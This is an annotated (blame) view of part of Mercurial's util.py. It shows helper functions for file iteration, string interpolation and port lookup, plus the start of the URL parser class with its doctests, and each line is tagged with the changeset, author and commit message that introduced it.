Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2459 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2460 fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2461 if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2462 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2463 if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2464 return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2465 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2466 return _safeiterfile(fp) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2467 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2468 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2469 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2470 return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2471 |
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2472 def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2473 for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2474 for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2475 yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2476 |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2477 def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2478 return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2479 |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2480 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2481 """Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2482 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2483 prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2484 a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2485 a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2486 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2487 fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2488 just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2489 |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2490 escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2491 its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2492 """ |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2493 fn = fn or (lambda s: s) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2494 patterns = '|'.join(mapping.keys()) |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2495 if escape_prefix: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2496 patterns += '|' + prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2497 if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2498 prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2499 else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2500 prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2501 mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2502 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2503 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2504 |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2505 def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2506 """Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2507 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2508 If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2509 looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2510 service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2511 """ |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2512 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2513 return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2514 except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2515 pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2516 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2517 try: |
36038
15c8c4ac5d9c
py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35900
diff
changeset
|
2518 return socket.getservbyname(pycompat.sysstr(port)) |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2519 except socket.error: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
2520 raise error.Abort(_("no port number associated with service '%s'") |
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
2521 % port) |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2522 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2523 class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2524 r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2525 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2526 This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2527 components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2528 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2529 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2530 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2531 Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2532 fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2533 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2534 If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2535 parsequery is False, query is included in path. If both are |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2536 False, both fragment and query are included in path. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2537 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2538 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2539 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2540 Note that for backward compatibility reasons, bundle URLs do not |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2541 take host names. That means 'bundle://../' has a path of '../'. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2542 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2543 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2544 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2545 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2546 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2547 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2548 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2549 >>> url(b'file:///home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2550 <url scheme: 'file', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2551 >>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2552 <url scheme: 'file', path: 'c:/temp/foo/'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2553 >>> url(b'bundle:foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2554 <url scheme: 'bundle', path: 'foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2555 >>> url(b'bundle://../foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2556 <url scheme: 'bundle', path: '../foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2557 >>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2558 <url path: 'c:\\foo\\bar'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2559 >>> url(br'\\blah\blah\blah') |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2560 <url path: '\\\\blah\\blah\\blah'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2561 >>> url(br'\\blah\blah\blah#baz') |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2562 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2563 >>> url(br'file:///C:\users\me') |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2564 <url scheme: 'file', path: 'C:\\users\\me'> |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2565 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2566 Authentication credentials: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2567 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2568 >>> url(b'ssh://joe:xyz@x/repo') |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2569 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2570 >>> url(b'ssh://joe@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2571 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2572 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2573 Query strings and fragments: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2574 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2575 >>> url(b'http://host/a?b#c') |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2576 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2577 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2578 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2579 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2580 Empty path: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2581 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2582 >>> url(b'') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2583 <url path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2584 >>> url(b'#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2585 <url path: '', fragment: 'a'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2586 >>> url(b'http://host/') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2587 <url scheme: 'http', host: 'host', path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2588 >>> url(b'http://host/#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2589 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2590 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2591 Only scheme: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2592 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2593 >>> url(b'http:') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2594 <url scheme: 'http'> |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2595 """ |
924c82157d46
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parents:
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diff
changeset
|
2596 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2597 _safechars = "!~*'()+" |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2598 _safepchars = "/!~*'()+:\\" |
30329
dadb00a0ec0f
util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents:
30328
diff
changeset
|
2599 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
14076
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2600 |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2601 def __init__(self, path, parsequery=True, parsefragment=True): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
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|
2602 # We slowly chomp away at path until we have only the path left |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
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|
2603 self.scheme = self.user = self.passwd = self.host = None |
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diff
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|
2604 self.port = self.path = self.query = self.fragment = None |
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Brodie Rao <brodie@bitheap.org>
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diff
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|
2605 self._localpath = True |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2606 self._hostport = '' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2607 self._origpath = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2608 |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2609 if parsefragment and '#' in path: |
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2610 path, self.fragment = path.split('#', 1) |
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2611 |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2612 # special case for Windows drive letters and UNC paths |
30329
dadb00a0ec0f
util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents:
30328
diff
changeset
|
2613 if hasdriveletter(path) or path.startswith('\\\\'): |
14076
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2614 self.path = path |
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diff
changeset
|
2615 return |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2616 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2617 # For compatibility reasons, we can't handle bundle paths as |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2618 # normal URLS |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2619 if path.startswith('bundle:'): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2620 self.scheme = 'bundle' |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2621 path = path[7:] |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2622 if path.startswith('//'): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2623 path = path[2:] |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2624 self.path = path |
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diff
changeset
|
2625 return |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2626 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2627 if self._matchscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2628 parts = path.split(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2629 if parts[0]: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2630 self.scheme, path = parts |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2631 self._localpath = False |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2632 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2633 if not path: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2634 path = None |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2635 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2636 self.path = '' |
924c82157d46
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parents:
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diff
changeset
|
2637 return |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2638 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2639 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2640 self.path = path |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2641 return |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2642 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2643 if parsequery and '?' in path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2644 path, self.query = path.split('?', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2645 if not path: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2646 path = None |
924c82157d46
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diff
changeset
|
2647 if not self.query: |
924c82157d46
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diff
changeset
|
2648 self.query = None |
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diff
changeset
|
2649 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2650 # // is required to specify a host/authority |
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2651 if path and path.startswith('//'): |
924c82157d46
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parents:
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diff
changeset
|
2652 parts = path[2:].split('/', 1) |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2653 if len(parts) > 1: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2654 self.host, path = parts |
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diff
changeset
|
2655 else: |
924c82157d46
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diff
changeset
|
2656 self.host = parts[0] |
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diff
changeset
|
2657 path = None |
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diff
changeset
|
2658 if not self.host: |
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diff
changeset
|
2659 self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2660 # path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2661 # path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2662 if path and not hasdriveletter(path): |
14076
924c82157d46
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diff
changeset
|
2663 path = '/' + path |
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14064
diff
changeset
|
2664 |
924c82157d46
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parents:
